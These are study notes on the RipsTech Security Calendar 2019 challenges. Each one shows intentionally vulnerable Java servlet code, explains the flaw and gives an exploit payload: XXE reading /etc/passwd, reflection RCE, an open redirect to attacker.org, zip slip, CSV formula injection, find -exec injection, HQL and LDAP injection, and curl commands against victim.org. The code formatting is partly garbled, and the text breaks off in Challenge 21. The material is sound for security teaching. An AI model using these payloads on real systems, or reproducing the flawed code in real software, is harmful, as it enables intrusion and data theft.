Notes related to RipsTech PHP Security Calendar 2019 which aren’t accessible anymore.
Challenge 1 - Candy Cane
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.jdom2.Content;
import org.jdom2.Document;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
public class ImportDocument {
// This function extracts the text of an OpenOffice document
public static String extractString() throws IOException, JDOMException {
File initialFile = new File("uploaded_office_doc.odt");
InputStream in = new FileInputStream(initialFile);
final ZipInputStream zis = new ZipInputStream(in);
ZipEntry entry;
List<Content> content = null;
while ((entry = zis.getNextEntry()) != null) {
if (entry.getName().equals("content.xml")) {
final SAXBuilder sax = new org.jdom2.input.SAXBuilder();
sax.setFeature("http://javax.xml.XMLConstants/feature/secure-processing",true);
Document doc = sax.build(zis);
content = doc.getContent();
zis.close();
break;
}
}
StringBuilder sb = new StringBuilder();
if (content != null) {
for(Content item : content){
sb.append(item.getValue());
}
}
return sb.toString();
}
}
- The extractString function opens an OpenOffice document uploaded by an attacker to extract its text.
- OpenOffice documents are ZIP files containing multiple resources.
- One of these resources is content.xml, which holds the text information in XML format.
- The file content.xml is processed by the method org.jdom2.input.SAXBuilder.build(), which is vulnerable to XXE injection.
- The XXE vulnerability can be exploited by adding a malicious DOCTYPE declaration to the XML document.
- The XXE entity can reference sensitive files, such as /etc/passwd, and insert their contents into the document.
Example payload:
1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT text ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
Challenge 2 - Eggnog Madness
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.json.*;
public class MainController{
private static String[] parseJsonAsArray(String rawJson, String field) {
JSONObject obj = new JSONObject(rawJson);
JSONArray arrJson = obj.getJSONArray(field);
String[] arr = new String[arrJson.length()];
for (int i = 0; i < arrJson.length(); i++) {
arr[i] = arrJson.getString(i);
}
return arr;
}
private static String parseJsonAsString(String rawJson, String field) {
JSONObject obj = new JSONObject(rawJson);
return obj.getString(field);
}
// rawJson is user-controlled.
public MainController(String rawJson) {
this(parseJsonAsString(rawJson, "controller"), parseJsonAsString(rawJson, "task"), parseJsonAsArray(rawJson, "data"));
}
private MainController(String controllerName, String task, String... data) {
try {
Object controller = !controllerName.equals("MainController") ? Class.forName(controllerName).getConstructor(String[].class).newInstance((Object) data) : this;
System.out.println(controller.getClass().getMethod(task));
controller.getClass().getMethod(task).invoke(controller);
} catch (Exception e1) {
try {
String log = "# [ERROR] Exception with data: " + data + " with exception " + e1;
System.err.println(log);
// DONE: VulnApp Security Bug #23517: Strip all "dots" so file extension does not lead to RCE
Runtime.getRuntime().exec(new String[]{"java", "-jar", "log4j_custom_dlogger.jar", log.replaceAll(".", "")});
// TODO: VulnApp Bug #24630: Logging is currently not working in v1.8,
// something with an ArgumentException, please have alook at that @peter
} catch (Exception e2) {
System.err.println("FATAL ERROR: " + e2);
}
}
}
}
- The rawJson parameter in line 20 is user-controlled and parsed as JSON.
- Data extracted from the JSON string is passed to the second constructor in line 21.
- The parameters controllerName and data can be exploited to instantiate any object and control the first parameter of a constructor in line 26.
- In line 28, the task parameter is used as a function name executed on the previously created object.
- This allows an attacker to instantiate objects, control the constructor’s first argument, and invoke any parameterless function.
- For exploitation, an attacker can create a ProcessBuilder with a shell command like touch hacked.jsp and then call the start() function to execute the command:
rawJson={"controller":"java.lang.ProcessBuilder","task":"start","data":["touch","hacked.jsp"]}
- The “logging” code in line 31 is a distraction and not vulnerable.
Challenge 3 - Christmas Carols
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.VelocityContext;
import java.util.HashMap;
import java.util.Map;
public class TemplateRenderer {
private final VelocityEngine velocity;
public String renderFragment(String fragment, Map<String,Object> contextParameters) {
velocity = new VelocityEngine();
velocity.init();
VelocityContext context = new VelocityContext(contextParameters);
StringWriter tempWriter = new StringWriter(fragment.length());
velocity.evaluate(context, tempWriter, "renderFragment", fragment);
return tempWriter.toString();
}
public String render(HttpServletRequest req, HttpServletResponse res) {
Map<String, Object> hm = new HashMap<String, Object>();
hm.put("user", req.getParameter("user"));
String template = req.getParameter("temp");
String rendered = renderFragment(template,hm);
res.getWriter().println(rendered);
}
}
- A temp parameter is received and passed to renderFragment().
- The fragment argument leads to a Code Injection vulnerability in the Velocity template.
- The fragment (template) is evaluated as Java code by Velocity.
- Direct Java code execution is limited.
- Java reflection can be used to access Java classes and execute shell commands.
1
2
3
user=&temp=#set($s="")#set($stringClass=$s.getClass()
.forName("java.lang.Runtime").getRuntime()
.exec("touch hacked.jsp"))$stringClass
Challenge 4 - Father Christmas
1
2
3
4
5
6
7
8
9
10
11
12
import javax.servlet.http.*;
public class Login extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) {
String url = request.getParameter("url");
//only relative urls are allowed!
if (url.startsWith("/")) {
response.sendRedirect(url);
}
}
}
- This code challenge receives user input via the GET or POST parameter url.
- The url parameter can be used to exploit an open redirect vulnerability.
- The redirect happens if url starts with /.
- However, a URI starting with 2 slashes ( //attacker.org ) is not a relative URI but an absolute URI without a scheme. Therefore, the intended check if the URI is relative can be bypassed with the url parameter //attacker.org.
- As a result, the server redirects the victim to attacker.org.
Challenge 5 - WinterTime
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javax.servlet.http.HttpServletRequest;
import java.util.Enumeration;
public class Request {
public static String toString(HttpServletRequest req) {
StringBuilder sb = new StringBuilder();
String delimiter = req.getParameter("delim");
Enumeration<String> names = req.getParameterNames();
while (names.hasMoreElements()) {
String name = names.nextElement();
if (!name.equals("delim")) {
sb.append("<b>" + name + "</b>:<br>");
String[] values = req.getParameterValues(name);
for (String val : values) {
sb.append(val);
sb.append(delimiter);
sb.append("<br>");
}
}
}
return sb.toString();
}
}
- The function toString iterates over HTTP parameters and formats them into HTML representation.
- The value delimiter is received and appended to the StringBuilder instance after each parameter value.
- A denial of service issue may arise due to the internals of java.util.StringBuilder.
- The StringBuilder object is initialized with an array of size 16.
- Each time a new value is appended, the StringBuilder instance checks if the data fits into the array.
- If not, the size of the array is doubled, leading to large amplification.
- Apache Tomcat has a 2MB limit for POST requests and a maximum of 10000 parameters.
- By submitting a large value for parameter delim and multiple HTTP parameters, we can exploit the StringBuilder internals to cause a maximum amplification of ~20000.
Challenge 6 - Yule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.*;
import java.nio.file.*;
import javax.servlet.http.*;
public class ReadFile extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
try {
String url = request.getParameter("url");
String data = new String(Files.readAllBytes(Paths.get(url)));
} catch (IOException e) {
PrintWriter out = response.getWriter();
out.print("File not found");
out.flush();
}
//proceed with code
}
}
- Untrusted user input is received from the parameter url.
- A java.nio.file.Path instance is created from the given value.
- The contents of the file are read by the method java.nio.file.Files.readAllBytes().
- This can be used to read arbitrary files through path traversal.
- The file contents are not reflected in the response.
- By sending the value /dev/urandom, the application can be interrupted.
- The method Files.readAllBytes() will not terminate until the Java heap is out of memory.
- This leads to an infinite file read and memory exhaustion (DoS).
- The IOException handler does not catch this issue.
Challenge 7 - Jingle Bells
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.fasterxml.jackson.core.*;
import javax.servlet.http.*;
import java.io.*;
public class ApiCache extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
storeJson(request, "/tmp/getUserInformation.json");
}
protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
loadJson();
}
public static void loadJson() {
// Deserialize to an HashMap object with Jackson's JsonParser and read the first 2 entries of the file.
}
public static void storeJson(HttpServletRequest request, String filename) throws IOException {
JsonFactory jsonobject = new JsonFactory();
JsonGenerator jGenerator = jfactory.createGenerator(new File(filename), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + request.getParameter("username") + "\"");
jGenerator.writeFieldName("permission");
jGenerator.writeRawValue("\"none\"");
jGenerator.writeEndObject();
jGenerator.close();
}
}
- The username parameter is user-controlled and flows into jGenerator.writeRawValue() without sanitization.
- An attacker could inject the payload ?username=foo”,”permission”:”all.
- This results in a JSON object with duplicate keys: “permission”:”all” and “permission”:”none”.
- If the JSON object is deserialized in method loadJson() and the method only deserializes the first occurrence of each key, the user foo can escalate privileges to “all”.
- Successful exploitation depends on the implementation of loadJson().
Challenge 8 - Icicles
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.File;
import javax.servlet.http.*;
public class GetPath extends HttpServlet {
protected void doGet(HttpServletRequest request,
HttpServletResponse response) throws IOException {
try {
String icons = request.getParameter("icons");
String filename = request.getParameter("filename");
File f_icons = new File(icons);
File f_filename = new File(filename);
if (!icons.equals(f_icons.getName())) {
throw new Exception("File not within target directory!");
}
if (!filename.equals(f_filename.getName())) {
throw new Exception("File not within target directory!");
}
String toDir = "/var/myapp/data/" + f_icons.getName() + "/";
File file = new File(toDir, filename);
// Download file...
} catch(Exception e) {
response.sendRedirect("/");
}
}
}
- The parameter icons flows into a File object.
- It is validated and concatenated into a file path.
- The check in line 14 tries to prevent path traversal by comparing the file name to the parameter icons.
- The method getName() turns input like /../../../foo.txt into foo.txt, preventing simple path traversal.
- However, input like .. is not removed by getName().
- This allows bypassing the security check.
- In combination with the parameter filename, we can traverse one directory level higher and download arbitrary files.
Challenge 9 - Chestnuts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.*;
import java.util.regex.*;
import javax.servlet.http.*;
public class Validator extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");
PrintWriter out = response.getWriter();
if (isInWhiteList(request.getParameter("whitelist"), request.getParameter("value"))) {
out.print("Value is in whitelist.");
} else {
out.print("Value is not in whitelist.");
}
out.flush();
}
public static boolean isInWhiteList(String whitelist, String value) {
Pattern pattern = Pattern.compile("^[" + whitelist + "]+");
Matcher matcher = pattern.matcher(value);
return matcher.matches();
}
}
- The parameter whitelist controls a part of the regular expression pattern.
- The parameter value is validated against this expression.
- We can inject an arbitrary expression and control the value it’s matched against.
- This allows us to produce heavy CPU consumption with a complex regular expression (ReDoS).
- This can lead to CPU exhaustion and a DoS, especially in Java 8.
- Proof of Concept:
whitelist=x]|((((a+)+)+)+)&value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Challenge 10 - Anticipation
1
2
3
4
5
6
7
8
9
10
@RequestMapping("/webdav")
public void webdav(HttpServletResponse res, @RequestParam("name") String name) throws IOException {
res.setContentType("text/xml");
res.setCharacterEncoding("UTF-8");
PrintWriter pw = res.getWriter();
name = name.replace("]]", "");
pw.print("<person>");
pw.print("<name><![CDATA[" + name.replace(" ","") + "]]></name>");
pw.print("</person>");
}
- User input from parameter “name” is mapped to function parameter “name” via @RequestParam.
- The response Content-Type is set to text/xml.
- Untrusted user input can be injected into the XML response, leading to XSS.
- The attacker injects a script tag with the “http://www.w3.org/1999/xhtml” namespace.
- Escaping the CDATA element is bypassed with a space between “]]”.
- Tabs are used for other spaces needed in the payload.
- The provided payload demonstrates exploiting this vulnerability.
The following payload can be used to exploit this challenge:
1
test] ]><something%3Ascript%09xmlns%3Asomething%3D"http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml">alert(1)<%2Fsomething%3Ascript><![CDATA[
Challenge 11 - Carolers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import javax.servlet.http.*;
import java.io.*;
import java.nio.file.Files;
import org.apache.commons.compress.archivers.ArchiveStreamFactory;
import org.apache.commons.compress.archivers.tar.*;
import org.apache.commons.io.IOUtils;
public class ExtractFiles extends HttpServlet {
private static void extract() throws Exception {
// /tmp/uploaded.tar is user controlled and an uploaded file.
final InputStream is = new FileInputStream(new File("/tmp/uploaded.tar"));
final TarArchiveInputStream tarInputStream = (TarArchiveInputStream) (new ArchiveStreamFactory().createArchiveInputStream(ArchiveStreamFactory.TAR, is));
File tmpDir = Files.createTempDirectory("test").toFile();
TarArchiveEntry entry;
while ((entry = tarInputStream.getNextTarEntry()) != null) {
File file = new File(tmpDir, entry.getName().replace("../", ""));
if (entry.isDirectory()) {
file.mkdirs();
} else {
IOUtils.copy(tarInputStream, new FileOutputStream(file));
}
}
is.close();
tarInputStream.close();
}
}
- The code extracts a TAR file into a temporary directory.
- The user controls the contents of /tmp/uploaded.tar.
- A TAR file is an archive of files and folders, each represented by a TarArchiveEntry object.
- The attacker can control the filename of a TarArchiveEntry using TarArchiveEntry.getName().
- The user input reaches the sensitive sink java.io.File in line 16.
- This can lead to a path traversal (zip slip) attack.
- The sanitization in line 16 is insufficient, as it only removes ../.
- The following payload can bypass the sanitization on a Linux system with a Tomcat server:
..././..././..././..././..././var/tomcat/webapps/ROOT/index.jsp
Challenge 12 - Evergreen
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
index.jsp
<%@ page import="org.owasp.esapi.ESAPI" %>
<%! String customClass = "default"; %>
<html><body><%@ include file="init.jsp" %>
<div class="<%= customClass %>">
<%! String username; %>
<% username = request.getParameter("username"); %>
Welcome citizen, you have been identified as
<%
customClass = request.getParameter("customClass");
customClass = ESAPI.encoder().encodeForHTML(customClass);
%>
<div class="<%= customClass %>">
<%= ESAPI.encoder().encodeForHTML(username) %>.
</div></div></body></html>
init.jsp
<% customClass = request.getParameter("customClass"); %>
- A class is dynamically assigned to a div element in line 5.
- The class is derived from the
customClass
variable. customClass
is initially set to “default” but is overwritten by the contents ofinit.jsp
.init.jsp
fetches user input and assigns it directly tocustomClass
without sanitization.- This allows an attacker to control the class attribute of the div element.
- A simple double quote can be used to break out of the attribute.
- Other user input instances are properly sanitized with an ESAPI encoder.
Challenge 13 - Epiphany
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import javax.servlet.http.*;
import java.io.*;
import java.util.List;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
public class UploadFileController extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
ServletFileUpload upload = new ServletFileUpload(factory);
String uploadPath = getServletContext().getRealPath("") + "upload";
File uploadDir = new File(uploadPath);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
try {
List<FileItem> items = upload.parseRequest(request);
if (items != null && items.size() > 0) {
for (FileItem item : items) {
if (!item.isFormField()) {
if (!(item.getContentType().equals("text/plain"))) {
throw new Exception("ContentType mismatch");
}
String file = uploadPath + File.separator + item.getName();
File storeFile = new File(file);
item.write(storeFile);
}
}
}
} catch (Exception ex) {
response.sendRedirect("/");
}
}
}
- The challenge involves a multi-part file upload.
- The uploaded file must have a content type of
text/plain
. - A content type check is in place to prevent dangerous file uploads (line 26).
- However, the attacker controls the content type and can easily bypass the check.
- The filename of the uploaded file is also user-controlled (line 28).
- This leads to a Path Traversal vulnerability due to the acceptance of
/../
in filenames. - By combining the content type bypass and Path Traversal, an attacker can upload arbitrary files and execute remote commands.
1
2
Content-Disposition: form-data; name="uploadFile"; filename="../../../hacked.jsp"
Content-Type: text/plain
Challenge 14 - Chimney
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.io.PrintWriter;
import java.util.*;
import javax.servlet.http.*;
public class Export extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
response.setContentType("text/csv");
response.setCharacterEncoding("UTF-8");
PrintWriter out = response.getWriter();
String content = buildCSV(request);
out.print(content);
out.flush();
}
public String buildCSV(HttpServletRequest request) {
{
StringBuilder str = new StringBuilder();
List<List<String>> rows = Arrays.asList(
Arrays.asList("Scott", "editor", request.getParameter("description"))
);
str.append("Name");
str.append(",");
str.append("Role");
str.append(",");
str.append("Description");
str.append("\n");
for (List<String> rowData : rows) {
str.append(String.join(",", rowData));
str.append("\n");
}
return str.toString();
}
}
}
- The servlet exports a CSV file containing unfiltered user input.
- This leads to a Formula Injection vulnerability.
- The
description
parameter (line 22) is directly added to theStringBuilder
in line 33 without sanitization. - An attacker can inject a payload like
=cmd|'C calc.exe'!Z0
via thedescription
parameter. - This results in a CSV file with malicious formulas that can execute commands.
Challenge 15 - Mistletoe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.apache.commons.io.IOUtils;
import javax.servlet.http.*;
import java.io.*;
import java.util.*;
public class FindOnSystem extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
String[] binary = {"find", ".", "-type", "d"};
ArrayList<String> cmd = new ArrayList<>(Arrays.asList(binary));
String[] options = request.getParameter("options").split(" ");
for (String i : options) {
cmd.add(i);
}
ProcessBuilder processBuilder = new ProcessBuilder(cmd);
Process process = processBuilder.start();
IOUtils.copy(process.getInputStream(),response.getOutputStream());
} catch(Exception e) {
response.sendRedirect("/");
}
}
}
- The servlet uses the
find
system command to list directories. - This exposes directory information, leading to an information leak.
- The base command is
find . -type d
(lines 9-10). - User-controlled
options
are appended to the command (lines 12-15). - The command is executed using
java.lang.ProcessBuilder
(lines 17-18). - While direct command injection is not possible, an Argument Injection vulnerability exists.
- The
-exec
parameter can be injected to execute arbitrary commands. - A payload like
?options=-exec cat /etc/passwd ;
leads to the execution offind . -type d -exec cat /etc/passwd ;
.
Challenge 16 - Candles
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.Serializable;
import javax.persistence.*;
@Entity
@DynamicUpdate
@Table(name = "UserEntity", uniqueConstraints = {
@UniqueConstraint(columnNames = "ID"),
@UniqueConstraint(columnNames = "EMAIL") })
public class UserEntity implements Serializable {
public UserEntity(String email, String firstName, String lastName) {
this.email = email;
this.firstName = firstName;
this.lastName = lastName;
}
private static final long serialVersionUID = -1798070786993154676L;
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name = "ID", unique = true, nullable = false)
private Integer userId;
@Column(name = "EMAIL", unique = true, nullable = false, length = 100)
private String email;
@Column(name = "FIRST_NAME", unique = false, nullable = false, length = 100)
private String firstName;
@Column(name = "LAST_NAME", unique = false, nullable = false, length = 100)
private String lastName;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.hibernate.*;
import org.springframework.web.bind.annotation.RequestParam;
public class FindController {
public String escapeQuotes(String in){
return in.replaceAll("'","''");
}
@RequestMapping("/findUsers")
public void findUsers(@RequestParam(name="name") String name, HttpServletResponse res) throws IOException{
Configuration config = new Configuration();
// Create SessionFactory with MySQL driver
SessionFactory sessionFactory = config.configure().buildSessionFactory();
Session session = sessionFactory.openSession();
List <UserEntity> users = session.createQuery("from UserEntity where FIRST_NAME ='" + escapeQuotes(name) + "'", UserEntity.class).list();
res.getWriter().println("Found " + users.size() + " Users with that name");
}
}
- User input is received via the
@RequestParam
annotation and mapped to thename
parameter of thefindUsers
method. - A Hibernate Session is created using the MySQL driver.
- A HQL query is executed to retrieve
UserEntity
objects based on a user-supplied filter. - The
escapeQuotes
method is used to escape single quotes within the string literal. - However, the escaping is insufficient to prevent HQL injection.
- An attacker can inject a payload like
test\' or 1=sleep(1) -- -
to bypass the escaping. - This payload allows the execution of arbitrary MySQL queries.
- The injected query will be sent to the database:
... where FIRST_NAME='test\'' or 1=sleep(5)-- -'
.
Challenge 17 - Carol Singers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;
import javax.servlet.http.*;
public class JavaDeobfuscatorStartupController extends HttpServlet {
private static boolean isInBlacklist(String input) {
String[] blacklist = {"java","os","file"};
return Arrays.asList(blacklist).contains(input);
}
private static void setEnv(String key, String value) {
String[] values = key.split(Pattern.quote("."));
if (isInBlacklist(values[0])) {
return;
}
List<String> list = new ArrayList<>(Arrays.asList(values));
list.removeAll(Arrays.asList("", null));
String property = String.join(".", list);
System.setProperty(property, value);
}
private static void loadEnv(HttpServletRequest request) {
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++)
if (cookies[i].getName().equals("env")) {
String[] tmp = cookies[i].getValue().split("@", 2);
setEnv(tmp[0], tmp[1]);
}
}
private static void uploadFile() {
// Secure file upload with arbitrary content type and extension in known path /var/myapp/data
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
loadEnv(request);
try {
final Field sysPathsField = ClassLoader.class.getDeclaredField("sys_paths");
sysPathsField.setAccessible(true);
sysPathsField.set(null, null);
System.loadLibrary("DEOBFUSCATION_LIB");
} catch (Exception e) {
response.sendRedirect("/");
}
}
}
- The
loadEnv
method (line 39) processes the user-controlled cookieenv
(lines 26-29). - Inside
loadEnv
,setEnv
is called with user-controlled key/value pairs (line 30). - The key is split by “.” and a blacklist check is done on the first element (line 15) to prevent setting system properties like
java
. - The blacklist check can be bypassed with a payload like
.java.xxx
. - Only the first element is checked, and empty strings are allowed (line 9/10).
- After the check, empty values are removed and the remaining parts are joined with “.” again (line 20).
- The attacker’s goal is to set
java.library.path
(line 22) to/var/myapp/data
for Library Injection. - This path allows uploading a malicious library named
libDEOBFUSCATION_LIB.so
(line 34). - The library filename needs the prefix “lib” and suffix “.so” for
System.loadLibrary
to load it (line 44). - POC: 1.
Upload file:
curl -v -F ‘upload=@/tmp/libDEOBFUSCATION_LIB.so’ http://victim.org/` - POC 2. Load malicious library:
curl -v --cookie 'env=.java.library.path@/var/myapp/data'
Challenge 18 - Reindeer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.apache.tomcat.util.http.fileupload.IOUtils;
import javax.servlet.http.*;
import java.util.HashMap;
public class LoadConfig extends HttpServlet {
public static HashMap<String, String> parseRequest(String value) {
HashMap<String, String> result = new HashMap<String, String>();
if (value != null) {
String tmp[] = value.split("@");
for (int i = 0; i < tmp.length; i = i + 2) {
result.put(tmp[i], tmp[i + 1]);
}
}
return result;
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) {
if (request.getParameter("home") != null) {
HttpSession session = request.getSession(true);
if (!session.isNew()){
if (validBasicAuthHeader()) { // Checks the Basic Authorization header (password check)
// Execute last command:
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command((String)session.getAttribute("last_command"));
try {
Process process = processBuilder.start();
IOUtils.copy(process.getInputStream(), response.getOutputStream());
}
catch (Exception e){
return;
}
}
}
} else if (request.getParameter("save_session") != null) {
String value = request.getParameter("config");
HashMap<String, String> config = parseRequest(value);
for (String i : config.keySet()) {
Cookie settings = new Cookie(i, config.get(i));
response.addCookie(settings);
}
} else {
HttpSession session = request.getSession(true);
if (session.isNew()) {
HashMap<String, String> whitelist = new HashMap<String, String>();
whitelist.put("home", "yes");
whitelist.put("role", "frontend");
String value = request.getParameter("config");
HashMap<String, String> config = parseRequest(value);
whitelist.putAll(config);
for (String i : whitelist.keySet()) {
session.setAttribute(i, whitelist.get(i));
}
}
}
}
}
- The code is vulnerable to both Session Fixation and Command Injection.
- Upon visiting the application, a new session is created with user-controlled session variables (lines 43-54).
- Attackers can manipulate these variables by providing key-value pairs in the
config
parameter (line 49). - This allows them to control their own session variables, including setting
"last_command"
. - However, a password is required via the authorization header for command execution (lines 21, 23-26).
- Leveraging the Session Fixation vulnerability (lines 35-39), an attacker can hijack the admin’s session.
- This is achieved by sending a link with
config
set to a specific session ID (e.g.,curl "http://victim.org/?config=JSESSIONID@D4E9132DB9703009B1C932E7C37286ED"
). - With the admin’s session hijacked, the attacker can execute their previously stored shell command via
last_command
without needing the password.
Challenge 19 - Gingerbread
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import javax.script.ScriptEngineManager;
import javax.servlet.http.*;
import javax.script.ScriptEngine;
import java.io.IOException;
import java.util.regex.*;
public class RenderExpression extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
String dynamiceCodeHere = request.getParameter("p");
if (!dynamiceCodeHere.startsWith("\"")) {
throw new Exception();
}
Pattern p = Pattern.compile("([^\".()'\\/,a-zA-z\\s\\\\])|(processbuilder|file|url|runtime|getclass|forname|loadclass|new\\s)");
Matcher m = p.matcher(dynamiceCodeHere.toLowerCase());
if (m.find()) {
throw new Exception();
}
scriptEngine.eval(dynamiceCodeHere);
// Proceed
} catch(Exception e) {
response.sendRedirect("/");
}
}
}
- The parameter
p
is received in line 13 and evaluated in line 24, triggering an Expression Language Injection (ELI) vulnerability. - To prevent ELI, a check for quotes is implemented (lines 14-16) as strings usually start with quotes in this language.
- Additionally, a regular expression blacklist is applied (lines 18-22) to block dangerous classes and constructs used for code execution.
- However, the blacklist can be bypassed due to Java’s flexibility.
- Reflection can be used to call the
javax.scripts.ScriptEngineManager
class, bypassing the blacklist. - While
eval
expects a string, the string can be encoded for code injection. - A possible payload exploiting reflection and string encoding could look like this:
1
victim.org/?p="".equals(javax.script.ScriptEngineManager.class.getConstructor().newInstance().getEngineByExtension("js").eval("java.lang.Runtime.getRuntime().exec(\"touch /tmp/owned.jsp\")".replaceAll("A","R")))
Challenge 20 - Ornaments
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import javax.naming.*;
import javax.naming.directory.*;
import java.util.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.*;
public class UserController extends HttpServlet {
// This token is SHA-256(createTimestamp of admin user)
private static final String api_token = "1c4e98fc43d0385e67cd6de8c32f969f371eba8ab84053858b5bfd21a2adb471";
private static void executeCommand(String user_token, String[] cmd) {
if (user_token.equals(api_token)) {
// Execute shell command
}
}
/**
* Current attributes of objectClass "simpleSecurityObject":
* createtimestamp, creatorsname, dn, entrycsn, entrydn, entryuuid, objectclass, userpassword, uuid
*/
private static DirContext initLdap() throws NamingException {
Hashtable<String, Object> env = new Hashtable<String, Object>();
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=example,dc=org");
env.put(Context.SECURITY_CREDENTIALS, "admin");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:389/");
return new InitialDirContext(env);
}
private static boolean userExists(DirContext ctx, String username) throws Exception {
String[] security_blacklist = {"uuid", "userpassword", "surname", "mail", "givenName", "name", "cn", "sn", "objectclass", "|", "&"};
for (String name : security_blacklist) {
if (username.contains(name)) {
throw new Exception();
}
}
String searchFilter = "(&(objectClass=simpleSecurityObject)(uid="+username+"))";
SearchControls searchControls = new SearchControls();
searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
NamingEnumeration<SearchResult> results = ctx.search("dc=example,dc=org", searchFilter, searchControls);
if (results.hasMoreElements()) {
SearchResult searchResult = (SearchResult) results.nextElement();
return searchResult != null;
}
return false;
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
DirContext ctx = initLdap();
if(userExists(ctx, request.getParameter("username"))){
response.getOutputStream().print("User is found.");
response.getOutputStream().close();
}
} catch (Exception e) {
response.sendRedirect("/");
}
}
}
- The
username
parameter (line 54) is passed to theuserExists()
method. - The method checks if the user exists in the LDAP directory (lines 32-49).
- The
username
is added to a filter string to query the LDAP server (line 40). - The query checks for an attribute
uid
matching theusername
(line 40). - The LDAP query result determines the return value of
userExists()
(line 46). - A blacklist is used to prevent certain attributes from being queried (lines 33-38).
- However, the
createtimestamp
attribute is not in the blacklist. - By injecting payloads like
?username=admin)(createtimestamp=2*
or?username=admin)(createtimestamp=20*
, an attacker can leak information about the admin user’screatetimestamp
. - This information can be used to generate an API token (line 10) and execute arbitrary commands via the
executeCommand()
method (line 14).
Challenge 21 - Snowman
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import javax.crypto.*;
import javax.crypto.spec.*;
import org.apache.commons.codec.binary.Hex;
public class Decrypter{
@RequestMapping("/decrypt")
